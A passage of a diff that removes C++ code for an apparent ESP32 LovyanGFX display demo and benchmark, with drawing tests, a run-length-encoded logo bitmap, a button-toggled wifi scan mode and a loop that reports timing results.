max_y[x]++; - } - display.fillRect(xpos, max_y[x]-3, w, 3, TFT_WHITE); - if (prev_y[x] < y) - { - display.fillRect(xpos, prev_y[x], w, y - prev_y[x], TFT_BLACK); - } - else - { - display.fillRect(xpos, y, w, prev_y[x] - y, colors[x]); - } - display.setCursor(xpos, h-8); - display.printf("%03d", h-y); - prev_y[x] = y; - } - } -} - -void fill_circle(void) -{ - display.fillScreen(TFT_BLACK); - for (int i = 0; i < 4096 && !wifi_mode; i++) - { - display.drawCircle(rand()%display.width(), rand()%display.height(),16 + (rand() & 127), rand()); - } -} - -void fill_rect(void) -{ - display.fillScreen(TFT_BLACK); - for (int i = 0; i < 16384 && !wifi_mode; i++) - { - display.drawRect((rand()%display.width()) - 32, (rand()%display.height()) -32, 64, 64, rand()); - } -} - -void fill_tile_inner(int i) -{ - int xp = (display.width()>>1); - while ((xp -= i) > 0); - - int y = (display.height()>>1); - while ((y -= i) > 0); - do - { - int x = xp; - do - { - display.fillRect(x, y, i, i, display.color888(x*i, x*y, y*i)); - } while ((x += i) < display.width()); - } while ((y += i) < display.height()); -} - -void fill_tile(void) -{ - for (int i = 1024; i && !wifi_mode; i-=(i >> 4)+1) - { - fill_tile_inner(i); - } - for (int i = 2; i < 1024 && !wifi_mode; i+=(i >> 4)+1) - { - fill_tile_inner(i); - } -} - -void fill_arc(void) -{ - for (int i = 0; i < 360; ++i) - { - display.fillEllipseArc(display.width()>>1, display.height()>>1, 640, 480, 360, 270, i, i + 1, display.color888(255-(i*256/360), i*256/360, 255)); - } -} - - -unsigned long total = 0; -unsigned long tn = 0; - -void printnice(int32_t v) -{ - char str[32] = { 0 }; - sprintf(str, "%d", v); - for (char *p = (str+strlen(str))-3; p > str; p -= 3) - { - memmove(p+1, p, strlen(p)+1); - *p = ','; - - } - while (strlen(str) < 10) - { - memmove(str+1, str, strlen(str)+1); - *str = ' '; - } - display.println(str); -} - -static inline uint32_t micros_start() __attribute__ ((always_inline)); -static inline uint32_t micros_start() -{ - uint8_t oms = lgfx::millis(); - while ((uint8_t)lgfx::millis() == oms) - ; - return lgfx::micros(); -} - -uint32_t testHaD() -{ - static constexpr uint8_t HaD_240x320[] = - { - 0xb9, 0x50, 0x0e, 0x80, 0x93, 0x0e, 0x41, 0x11, 0x80, 0x8d, 0x11, 0x42, 0x12, 0x80, 0x89, 0x12, - 0x45, 0x12, 0x80, 0x85, 0x12, 0x48, 0x12, 0x80, 0x83, 0x12, 0x4a, 0x13, 0x7f, 0x13, 0x4c, 0x13, - 0x7d, 0x13, 0x4e, 0x13, 0x7b, 0x13, 0x50, 0x13, 0x79, 0x13, 0x52, 0x13, 0x77, 0x13, 0x54, 0x13, - 0x75, 0x13, 0x57, 0x11, 0x75, 0x11, 0x5a, 0x11, 0x73, 0x11, 0x5c, 0x11, 0x71, 0x11, 0x5e, 0x10, - 0x71, 0x10, 0x60, 0x10, 0x6f, 0x10, 0x61, 0x10, 0x6f, 0x10, 0x60, 0x11, 0x6f, 0x11, 0x5e, 0x13, - 0x6d, 0x13, 0x5c, 0x14, 0x6d, 0x14, 0x5a, 0x15, 0x6d, 0x15, 0x58, 0x17, 0x6b, 0x17, 0x37, 0x01, - 0x1f, 0x17, 0x6b, 0x17, 0x1f, 0x01, 0x17, 0x02, 0x1d, 0x18, 0x6b, 0x18, 0x1d, 0x02, 0x17, 0x03, - 0x1b, 0x19, 0x6b, 0x19, 0x1b, 0x03, 0x17, 0x05, 0x18, 0x1a, 0x6b, 0x1a, 0x18, 0x05, 0x17, 0x06, - 0x16, 0x1b, 0x6b, 0x1b, 0x16, 0x06, 0x17, 0x07, 0x14, 0x1c, 0x6b, 0x1c, 0x14, 0x07, 0x17, 0x08, - 0x12, 0x1d, 0x6b, 0x1d, 0x12, 0x08, 0x17, 0x09, 0x10, 0x1e, 0x6b, 0x1e, 0x10, 0x09, 0x17, 0x0a, - 0x0e, 0x1f, 0x6b, 0x1f, 0x0e, 0x0a, 0x17, 0x0b, 0x0c, 0x20, 0x6b, 0x20, 0x0c, 0x0b, 0x17, 0x0c, - 0x0b, 0x21, 0x69, 0x21, 0x0b, 0x0c, 0x18, 0x0d, 0x08, 0x23, 0x67, 0x23, 0x08, 0x0d, 0x19, 0x0e, - 0x06, 0x26, 0x63, 0x26, 0x06, 0x0e, 0x19, 0x0f, 0x04, 0x28, 0x61, 0x28, 0x04, 0x0f, 0x19, 0x10, - 0x02, 0x2a, 0x5f, 0x2a, 0x02, 0x10, 0x1a, 0x3c, 0x5d, 0x3c, 0x1b, 0x3d, 0x5b, 0x3d, 0x1c, 0x3d, - 0x59, 0x3d, 0x1d, 0x3e, 0x57, 0x3e, 0x1e, 0x3e, 0x55, 0x3e, 0x1f, 0x40, 0x51, 0x40, 0x20, 0x40, - 0x4f, 0x40, 0x22, 0x40, 0x22, 0x09, 0x22, 0x40, 0x24, 0x40, 0x1a, 0x17, 0x1a, 0x40, 0x26, 0x40, - 0x16, 0x1d, 0x16, 0x40, 0x28, 0x40, 0x12, 0x23, 0x12, 0x40, 0x2a, 0x40, 0x0f, 0x27, 0x0f, 0x40, - 0x2c, 0x41, 0x0b, 0x2b, 0x0b, 0x41, 0x2f, 0x3f, 0x09, 0x2f, 0x09, 0x3f, 0x32, 0x3d, 0x08, 0x33, - 0x08, 0x3d, 0x35, 0x3a, 0x08, 0x35, 0x08, 0x3a, 0x3a, 0x36, 0x07, 0x39, 0x07, 0x36, 0x41, 0x09, - 0x05, 0x23, 0x07, 0x3b, 0x07, 0x23, 0x05, 0x09, 0x54, 0x21, 0x07, 0x3d, 0x07, 0x21, 0x64, 0x1f, - 0x06, 0x41, 0x06, 0x1f, 0x66, 0x1d, 0x06, 0x43, 0x06, 0x1d, 0x68, 0x1b, 0x06, 0x45, 0x06, 0x1b, - 0x6b, 0x18, 0x06, 0x47, 0x06, 0x18, 0x6e, 0x16, 0x06, 0x49, 0x06, 0x16, 0x70, 0x14, 0x06, 0x4b, - 0x06, 0x14, 0x72, 0x13, 0x06, 0x4b, 0x06, 0x13, 0x74, 0x11, 0x06, 0x4d, 0x06, 0x11, 0x76, 0x0f, - 0x06, 0x4f, 0x06, 0x0f, 0x78, 0x0e, 0x05, 0x51, 0x05, 0x0e, 0x7a, 0x0c, 0x06, 0x51, 0x06, 0x0c, - 0x7d, 0x09, 0x06, 0x53, 0x06, 0x09, 0x80, 0x80, 0x08, 0x05, 0x55, 0x05, 0x08, 0x80, 0x82, 0x06, - 0x05, 0x57, 0x05, 0x06, 0x80, 0x84, 0x05, 0x05, 0x57, 0x05, 0x05, 0x80, 0x86, 0x03, 0x05, 0x59, - 0x05, 0x03, 0x80, 0x88, 0x02, 0x05, 0x59, 0x05, 0x02, 0x80, 0x8f, 0x5b, 0x80, 0x95, 0x5b, 0x80, - 0x94, 0x5d, 0x80, 0x93, 0x5d, 0x80, 0x92, 0x5e, 0x80, 0x92, 0x5f, 0x80, 0x91, 0x5f, 0x80, 0x90, - 0x61, 0x80, 0x8f, 0x61, 0x80, 0x8f, 0x61, 0x80, 0x8e, 0x63, 0x80, 0x8d, 0x63, 0x80, 0x8d, 0x63, - 0x80, 0x8d, 0x63, 0x80, 0x8c, 0x19, 0x07, 0x25, 0x07, 0x19, 0x80, 0x8b, 0x16, 0x0d, 0x1f, 0x0d, - 0x16, 0x80, 0x8b, 0x14, 0x11, 0x1b, 0x11, 0x14, 0x80, 0x8b, 0x13, 0x13, 0x19, 0x13, 0x13, 0x80, - 0x8b, 0x12, 0x15, 0x17, 0x15, 0x12, 0x80, 0x8a, 0x12, 0x17, 0x15, 0x17, 0x12, 0x80, 0x89, 0x11, - 0x19, 0x13, 0x19, 0x11, 0x80, 0x89, 0x11, 0x19, 0x13, 0x19, 0x11, 0x80, 0x89, 0x10, 0x1b, 0x11, - 0x1b, 0x10, 0x80, 0x89, 0x0f, 0x1c, 0x11, 0x1c, 0x0f, 0x80, 0x89, 0x0f, 0x1c, 0x11, 0x1c, 0x0f, - 0x80, 0x89, 0x0f, 0x1c, 0x11, 0x1c, 0x0f, 0x80, 0x89, 0x0e, 0x1d, 0x11, 0x1d, 0x0e, 0x80, 0x89, - 0x0e, 0x1c, 0x13, 0x1c, 0x0e, 0x80, 0x89, 0x0e, 0x1b, 0x15, 0x1b, 0x0e, 0x80, 0x89, 0x0e, 0x1b, - 0x15, 0x1b, 0x0e, 0x80, 0x89, 0x0e, 0x1a, 0x17, 0x1a, 0x0e, 0x80, 0x89, 0x0e, 0x18, 0x1b, 0x18, - 0x0e, 0x80, 0x89, 0x0e, 0x16, 0x1f, 0x16, 0x0e, 0x80, 0x89, 0x0e, 0x14, 0x23, 0x14, 0x0e, 0x80, - 0x89, 0x0f, 0x11, 0x27, 0x11, 0x0f, 0x80, 0x89, 0x0f, 0x0e, 0x2d, 0x0e, 0x0f, 0x80, 0x89, 0x0f, - 0x0c, 0x31, 0x0c, 0x0f, 0x80, 0x89, 0x0f, 0x0b, 0x33, 0x0b, 0x0f, 0x80, 0x8a, 0x0f, 0x09, 0x35, - 0x09, 0x0f, 0x80, 0x8b, 0x10, 0x08, 0x35, 0x08, 0x10, 0x80, 0x8b, 0x10, 0x07, 0x37, 0x07, 0x10, - 0x80, 0x8b, 0x11, 0x06, 0x37, 0x06, 0x11, 0x80, 0x8b, 0x12, 0x05, 0x37, 0x05, 0x12, 0x80, 0x8c, - 0x13, 0x03, 0x1b, 0x01, 0x1b, 0x03, 0x13, 0x80, 0x8d, 0x30, 0x03, 0x30, 0x80, 0x8d, 0x30, 0x04, - 0x2f, 0x80, 0x8d, 0x2f, 0x05, 0x2f, 0x80, 0x8e, 0x2e, 0x06, 0x2d, 0x80, 0x8f, 0x2d, 0x07, 0x2d, - 0x80, 0x8f, 0x2d, 0x07, 0x2d, 0x80, 0x90, 0x2c, 0x08, 0x2b, 0x80, 0x91, 0x2b, 0x09, 0x2b, 0x80, - 0x8c, 0x01, 0x05, 0x2a, 0x09, 0x2a, 0x05, 0x01, 0x80, 0x85, 0x03, 0x05, 0x2a, 0x09, 0x2a, 0x05, - 0x03, 0x80, 0x82, 0x04, 0x05, 0x2a, 0x09, 0x2a, 0x04, 0x05, 0x80, 0x80, 0x06, 0x05, 0x29, 0x04, - 0x02, 0x03, 0x29, 0x05, 0x06, 0x7e, 0x07, 0x05, 0x29, 0x03, 0x03, 0x03, 0x29, 0x05, 0x07, 0x7c, - 0x09, 0x05, 0x28, 0x02, 0x05, 0x02, 0x28, 0x05, 0x09, 0x7a, 0x0a, 0x05, 0x28, 0x02, 0x05, 0x02, - 0x28, 0x05, 0x0a, 0x78, 0x0c, 0x05, 0x27, 0x02, 0x05, 0x02, 0x27, 0x05, 0x0c, 0x76, 0x0d, 0x06, - 0x26, 0x01, 0x07, 0x01, 0x26, 0x06, 0x0d, 0x73, 0x10, 0x05, 0x55, 0x05, 0x10, 0x70, 0x12, 0x05, - 0x53, 0x05, 0x12, 0x6e, 0x13, 0x06, 0x51, 0x06, 0x13, 0x6c, 0x15, 0x05, 0x51, 0x05, 0x15, 0x6a, - 0x16, 0x06, 0x4f, 0x06, 0x16, 0x68, 0x18, 0x06, 0x4d, 0x06, 0x18, 0x66, 0x1a, 0x06, 0x4b, 0x06, - 0x1a, 0x64, 0x1c, 0x06, 0x49, 0x06, 0x1c, 0x55, 0x07, 0x05, 0x1e, 0x06, 0x49, 0x06, 0x1e, 0x05, - 0x07, 0x42, 0x30, 0x06, 0x47, 0x06, 0x30, 0x3a, 0x34, 0x06, 0x45, 0x06, 0x34, 0x35, 0x37, 0x06, - 0x43, 0x06, 0x37, 0x32, 0x39, 0x07, 0x3f, 0x07, 0x39, 0x2f, 0x3c, 0x07, 0x3d, 0x07, 0x3c, 0x2c, - 0x3e, 0x07, 0x3b, 0x07, 0x3e, 0x2a, 0x40, 0x06, 0x3b, 0x06, 0x40, 0x28, 0x40, 0x06, 0x3c, 0x07, - 0x40, 0x26, 0x3f, 0x08, 0x3d, 0x08, 0x3f, 0x24, 0x3f, 0x09, 0x3d, 0x09, 0x3f, 0x22, 0x3f, 0x0a, - 0x14, 0x01, 0x13, 0x02, 0x13, 0x0a, 0x3f, 0x20, 0x3f, 0x0b, 0x14, 0x01, 0x13, 0x02, 0x13, 0x0b, - 0x3f, 0x1f, 0x3e, 0x0c, 0x14, 0x01, 0x13, 0x02, 0x13, 0x0c, 0x3e, 0x1e, 0x3e, 0x0d, 0x13, 0x02, - 0x13, 0x02, 0x13, 0x0d, 0x3e, 0x1d, 0x3d, 0x0e, 0x13, 0x02, 0x13, 0x02, 0x13, 0x0e, 0x3d, 0x1c, - 0x3c, 0x11, 0x11, 0x04, 0x11, 0x04, 0x11, 0x11, 0x3c, 0x1b, 0x10, 0x01, 0x2a, 0x12, 0x11, 0x04, - 0x11, 0x04, 0x11, 0x12, 0x2a, 0x01, 0x10, 0x1a, 0x0f, 0x04, 0x28, 0x14, 0x0f, 0x06, 0x0f, 0x06, - 0x0f, 0x14, 0x28, 0x04, 0x0f, 0x19, 0x0e, 0x06, 0x26, 0x16, 0x0d, 0x08, 0x0d, 0x08, 0x0d, 0x16, - 0x26, 0x06, 0x0e, 0x19, 0x0d, 0x07, 0x25, 0x18, 0x0b, 0x0a, 0x0b, 0x0a, 0x0b, 0x18, 0x25, 0x07, - 0x0d, 0x19, 0x0c, 0x09, 0x23, 0x1c, 0x06, 0x0f, 0x05, 0x10, 0x05, 0x1c, 0x23, 0x09, 0x0c, 0x18, - 0x0c, 0x0b, 0x21, 0x69, 0x21, 0x0b, 0x0c, 0x17, 0x0b, 0x0d, 0x1f, 0x6b, 0x1f, 0x0d, 0x0b, 0x17, - 0x0a, 0x0f, 0x1e, 0x6b, 0x1e, 0x0f, 0x0a, 0x17, 0x09, 0x11, 0x1d, 0x6b, 0x1d, 0x11, 0x09, 0x17, - 0x07, 0x14, 0x1c, 0x6b, 0x1c, 0x14, 0x07, 0x17, 0x06, 0x16, 0x1b, 0x6b, 0x1b, 0x16, 0x06, 0x17, - 0x05, 0x18, 0x1a, 0x6b, 0x1a, 0x18, 0x05, 0x17, 0x04, 0x1a, 0x19, 0x6b, 0x19, 0x1a, 0x04, 0x17, - 0x03, 0x1b, 0x19, 0x6b, 0x19, 0x1b, 0x03, 0x17, 0x02, 0x1d, 0x18, 0x6b, 0x18, 0x1d, 0x02, 0x37, - 0x17, 0x6b, 0x17, 0x58, 0x16, 0x6b, 0x16, 0x5a, 0x14, 0x6d, 0x14, 0x5c, 0x13, 0x6d, 0x13, 0x5e, - 0x12, 0x6d, 0x12, 0x60, 0x10, 0x6f, 0x10, 0x61, 0x10, 0x6f, 0x10, 0x60, 0x11, 0x6f, 0x11, 0x5e, - 0x11, 0x71, 0x11, 0x5c, 0x12, 0x71, 0x12, 0x5a, 0x12, 0x73, 0x12, 0x58, 0x12, 0x75, 0x12, 0x56, - 0x13, 0x75, 0x13, 0x54, 0x13, 0x77, 0x13, 0x51, 0x14, 0x79, 0x14, 0x4e, 0x14, 0x7b, 0x14, 0x4c, - 0x14, 0x7d, 0x14, 0x4a, 0x14, 0x7f, 0x14, 0x48, 0x13, 0x80, 0x83, 0x13, 0x46, 0x13, 0x80, 0x85, - 0x13, 0x44, 0x12, 0x80, 0x89, 0x12, 0x42, 0x11, 0x80, 0x8d, 0x11, 0x40, 0x0f, 0x80, 0x93, 0x0f, - 0x45, 0x04, 0x80, 0x9d, 0x04, 0xb9, 0x56, - }; - - display.fillScreen(TFT_BLACK); - - uint32_t start = micros_start(); - - for (int i = 0; i < 0x10; i++) - { - - uint16_t cnt = 0; - uint16_t color = display.color565((i << 4) | i, (i << 4) | i, (i << 4) | i); - uint16_t curcolor = 0; - - const uint8_t *cmp = &HaD_240x320[0]; - - display.setAddrWindow(0, 0, 240, 320); - while (cmp < &HaD_240x320[sizeof(HaD_240x320)]) - { - cnt = pgm_read_byte(cmp++); - if (cnt & 0x80) cnt = ((cnt & 0x7f) << 8) | pgm_read_byte(cmp++); - display.pushBlock(curcolor, cnt); // PDQ_GFX has count - curcolor ^= color; - } - } - - uint32_t t = lgfx::micros() - start; - - display.setTextColor(TFT_YELLOW); - display.setTextSize(2); - display.setCursor(8, 285); - display.print("http://hackaday.io/"); - display.setCursor(96, 302); - display.print("Xark"); - - return t; -} - -uint32_t testFillScreen() -{ - uint32_t start = micros_start(); - // Shortened this tedious test! - display.fillScreen(TFT_WHITE); - display.fillScreen(TFT_RED); - display.fillScreen(TFT_GREEN); - display.fillScreen(TFT_BLUE); - display.fillScreen(TFT_BLACK); - - return (lgfx::micros() - start)/5; -} - -uint32_t testText() -{ - display.fillScreen(TFT_BLACK); - uint32_t start = micros_start(); - display.setCursor(0, 0); - display.setTextColor(TFT_WHITE,TFT_BLACK); display.setTextSize(1); - display.println("Hello World!"); - display.setTextSize(2); - display.setTextColor(display.color565(0xff, 0x00, 0x00)); - display.print("RED "); - display.setTextColor(display.color565(0x00, 0xff, 0x00)); - display.print("GREEN "); - display.setTextColor(display.color565(0x00, 0x00, 0xff)); - display.println("BLUE"); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - display.println(1234.56); - display.setTextColor(TFT_RED); display.setTextSize(3); - display.println(0xDEADBEEF, 16); - display.println(); - display.setTextColor(TFT_GREEN); - display.setTextSize(5); - display.println("Groop"); - display.setTextSize(2); - display.println("I implore thee,"); - display.setTextColor(TFT_GREEN); - display.setTextSize(1); - display.println("my foonting turlingdromes."); - display.println("And hooptiously drangle me"); - display.println("with crinkly bindlewurdles,"); - display.println("Or I will rend thee"); - display.println("in the gobberwarts"); - display.println("with my blurglecruncheon,"); - display.println("see if I don't!"); - display.println(""); - display.println(""); - display.setTextColor(TFT_MAGENTA); - display.setTextSize(6); - display.println("Woot!"); - uint32_t t = lgfx::micros() - start; - return t; -} - -uint32_t testPixels() -{ - int32_t w = display.width(); - int32_t h = display.height(); - - uint32_t start = micros_start(); - for (uint16_t y = 0; y < h; y++) - { - for (uint16_t x = 0; x < w; x++) - { - display.drawPixel(x, y, display.color565(x<<3, y<<3, x*y)); - } - } - return lgfx::micros() - start; -} - - -uint32_t testLines(uint16_t color) -{ - uint32_t start, t; - int32_t x1, y1, x2, y2; - int32_t w = display.width(); - int32_t h = display.height(); - - display.fillScreen(TFT_BLACK); - - x1 = y1 = 0; - y2 = h - 1; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - - x2 = w - 1; - - for (y2 = 0; y2 < h; y2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - - t = lgfx::micros() - start; // fillScreen doesn't count against timing - - display.fillScreen(TFT_BLACK); - - x1 = w - 1; - y1 = 0; - y2 = h - 1; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - - x2 = 0; - for (y2 = 0; y2 < h; y2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - - t += lgfx::micros() - start; - - display.fillScreen(TFT_BLACK); - - x1 = 0; - y1 = h - 1; - y2 = 0; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - x2 = w - 1; - for (y2 = 0; y2 < h; y2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - t += lgfx::micros() - start; - - display.fillScreen(TFT_BLACK); - - x1 = w - 1; - y1 = h - 1; - y2 = 0; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - - x2 = 0; - for (y2 = 0; y2 < h; y2 += 6) - { - display.drawLine(x1, y1, x2, y2, color); - } - - t += lgfx::micros() - start; - - return t; -} - -uint32_t testFastLines(uint16_t color1, uint16_t color2) -{ - uint32_t start; - int32_t x, y; - int32_t w = display.width(); - int32_t h = display.height(); - - display.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (y = 0; y < h; y += 5) - display.drawFastHLine(0, y, w, color1); - for (x = 0; x < w; x += 5) - display.drawFastVLine(x, 0, h, color2); - - return lgfx::micros() - start; -} - -uint32_t testRects(uint16_t color) -{ - uint32_t start; - int32_t n, i, i2; - int32_t cx = display.width() / 2; - int32_t cy = display.height() / 2; - - display.fillScreen(TFT_BLACK); - n = std::min(display.width(), display.height()); - start = micros_start(); - for (i = 2; i < n; i += 6) - { - i2 = i / 2; - display.drawRect(cx-i2, cy-i2, i, i, color); - } - - return lgfx::micros() - start; -} - -uint32_t testFilledRects(uint16_t color1, uint16_t color2) -{ - uint32_t start, t = 0; - int32_t n, i, i2; - int32_t cx = display.width() / 2 - 1; - int32_t cy = display.height() / 2 - 1; - - display.fillScreen(TFT_BLACK); - n = std::min(display.width(), display.height()); - for (i = n; i > 0; i -= 6) - { - i2 = i / 2; - - start = micros_start(); - - display.fillRect(cx-i2, cy-i2, i, i, color1); - - t += lgfx::micros() - start; - - // Outlines are not included in timing results - display.drawRect(cx-i2, cy-i2, i, i, color2); - } - - return t; -} - -uint32_t testFilledCircles(uint8_t radius, uint16_t color) -{ - uint32_t start; - int32_t x, y, w = display.width(), h = display.height(), r2 = radius * 2; - - display.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (x = radius; x < w; x += r2) - { - for (y = radius; y < h; y += r2) - { - display.fillCircle(x, y, radius, color); - } - } - - return lgfx::micros() - start; -} - -uint32_t testCircles(uint8_t radius, uint16_t color) -{ - uint32_t start; - int32_t x, y, r2 = radius * 2; - int32_t w = display.width() + radius; - int32_t h = display.height() + radius; - - // Screen is not cleared for this one -- this is - // intentional and does not affect the reported time. - start = micros_start(); - - for (x = 0; x < w; x += r2) - { - for (y = 0; y < h; y += r2) - { - display.drawCircle(x, y, radius, color); - } - } - - return lgfx::micros() - start; -} - -uint32_t testTriangles() -{ - uint32_t start; - int32_t n, i; - int32_t cx = display.width()/ 2 - 1; - int32_t cy = display.height() / 2 - 1; - - display.fillScreen(TFT_BLACK); - n = std::min(cx, cy); - - start = micros_start(); - - for (i = 0; i < n; i += 5) - { - display.drawTriangle( - cx , cy - i, // peak - cx - i, cy + i, // bottom left - cx + i, cy + i, // bottom right - display.color565(0, 0, i)); - } - - return lgfx::micros() - start; -} - -uint32_t testFilledTriangles() -{ - uint32_t start, t = 0; - int32_t i; - int32_t cx = display.width() / 2 - 1; - int32_t cy = display.height() / 2 - 1; - - display.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (i = std::min(cx,cy); i > 10; i -= 5) { - start = micros_start(); - display.fillTriangle(cx, cy - i, cx - i, cy + i, cx + i, cy + i, - display.color565(0, i, i)); - t += lgfx::micros() - start; - display.drawTriangle(cx, cy - i, cx - i, cy + i, cx + i, cy + i, - display.color565(i, i, 0)); - } - - return t; -} - -uint32_t testRoundRects() - { - uint32_t start; - int32_t w, i, i2; - int32_t cx = display.width() / 2 - 1; - int32_t cy = display.height() / 2 - 1; - - display.fillScreen(TFT_BLACK); - - w = std::min(display.width(), display.height()); - - start = micros_start(); - - for (i = 0; i < w; i += 6) - { - i2 = i / 2; - display.drawRoundRect(cx-i2, cy-i2, i, i, i/8, display.color565(i, 0, 0)); - } - - return lgfx::micros() - start; -} - -uint32_t testFilledRoundRects() -{ - uint32_t start; - int32_t i, i2; - int32_t cx = display.width() / 2 - 1; - int32_t cy = display.height() / 2 - 1; - - display.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (i = std::min(display.width(), display.height()); i > 20; i -= 6) - { - i2 = i / 2; - display.fillRoundRect(cx-i2, cy-i2, i, i, i/8, display.color565(0, i, 0)); - } - - return lgfx::micros() - start; -} - -static void on_button(void) -{ - wifi_mode = !wifi_mode; -} - -void setup(void) -{ - display.begin(); - display.startWrite(); - adc_power_acquire(); - pinMode(39, INPUT); - attachInterrupt(digitalPinToInterrupt(39), on_button, FALLING); -} - -bool non_wifimode_delay(int ms) -{ - while (--ms && !wifi_mode) - { - delay(1); - } - return wifi_mode; -} - -void loop(void) -{ - if (wifi_mode) - { - setup_wifi_scan(); - while (wifi_mode) - { - loop_wifi_scan(); - } - } - else - { - if (non_wifimode_delay(2000)) { return; } - title(); - if (non_wifimode_delay(3000)) { return; } - - display.setColorDepth(24); - display.drawJpg(jpg_image, ~0u, 0, 0, display.width(), display.height(), 0, 0, 0.0f, -1.0f); - display.setColorDepth(16); - - if (non_wifimode_delay(3000)) { return; } - trans_clear(); - bar_graph_demo(); - if (non_wifimode_delay(100)) { return; } - spin_tile(); - if (non_wifimode_delay(100)) { return; } - fill_tile(); - if (non_wifimode_delay(500)) { return; } - fill_rect(); - if (non_wifimode_delay(100)) { return; } - fill_circle(); - if (non_wifimode_delay(100)) { return; } - - display.setFont(&fonts::Font0); - - uint32_t usecHaD = testHaD(); - display.display(); - ESP_LOGI("main", "HaD pushColor %d",usecHaD); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecFillScreen = testFillScreen(); - display.display(); - ESP_LOGI("main", "Screen fill %d",usecFillScreen); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecText = testText(); - display.display(); - ESP_LOGI("main", "Text %d",usecText); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecPixels = testPixels(); - display.display(); - ESP_LOGI("main", "Pixels %d",usecPixels); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecLines = testLines(TFT_BLUE); - display.display(); - ESP_LOGI("main", "Lines %d",usecLines); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecFastLines = testFastLines(TFT_RED, TFT_BLUE); - display.display(); - ESP_LOGI("main", "Horiz/Vert Lines %d",usecFastLines); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecRects = testRects(TFT_GREEN); - display.display(); - ESP_LOGI("main", "Rectangles (outline) %d",usecRects); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecFilledRects = testFilledRects(TFT_YELLOW, TFT_MAGENTA); - display.display(); - ESP_LOGI("main", "Rectangles (filled) %d",usecFilledRects); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecFilledCircles = testFilledCircles(10, TFT_MAGENTA); - display.display(); - ESP_LOGI("main", "Circles (filled) %d",usecFilledCircles); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecCircles = testCircles(10, TFT_WHITE); - display.display(); - ESP_LOGI("main", "Circles (outline) %d",usecCircles); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecTriangles = testTriangles(); - display.display(); - ESP_LOGI("main", "Triangles (outline) %d",usecTriangles); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecFilledTrangles = testFilledTriangles(); - display.display(); - ESP_LOGI("main", "Triangles (filled) %d",usecFilledTrangles); - if (non_wifimode_delay(500)) { return; } - - uint32_t usecRoundRects = testRoundRects(); - display.display(); - ESP_LOGI("main", "Rounded rects (outline) %d",usecRoundRects); - if (non_wifimode_delay(500)) { return; } - - uint32_t usedFilledRoundRects = testFilledRoundRects(); - display.display(); - ESP_LOGI("main", "Rounded rects (filled) %d",usedFilledRoundRects); - if (non_wifimode_delay(500)) { return; } - - ESP_LOGI("main", "Done!"); - - uint16_t c = 4; - int8_t d = 1; - for (int32_t i = 0; i < display.height(); i++) - { - display.drawFastHLine(0, i, display.width(), c); - c += d; - if (c <= 4 || c >= 11) - d = -d; - } - - display.setCursor(0, 0); - display.setTextColor(TFT_MAGENTA); - display.setTextSize(2); - - display.println(" LovyanGFX test"); - - display.setTextSize(1); - display.setTextColor(TFT_WHITE); - display.println(""); - display.setTextSize(1); - display.println(""); - display.setTextColor(display.color565(0x80, 0x80, 0x80)); - - display.println(""); - - - display.setTextColor(TFT_GREEN); - display.println(" Benchmark microseconds"); - display.println(""); - display.setTextColor(TFT_YELLOW); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("HaD pushColor "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecHaD); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Screen fill "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecFillScreen); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Text "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecText); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Pixels "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecPixels); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Lines "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecLines); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Horiz/Vert Lines "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecFastLines); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Rectangles "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecRects); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Rectangles-filled "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecFilledRects); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Circles "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecCircles); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Circles-filled "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecFilledCircles); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Triangles "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecTriangles); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Triangles-filled "); - display.setTextColor(TFT_YELLOW); display.setTextSize(2); - printnice(usecFilledTrangles); - - display.setTextColor(TFT_CYAN); display.setTextSize(1); - display.print("Rounded rects "); - display.setTextColor(TFT_YELLOW); 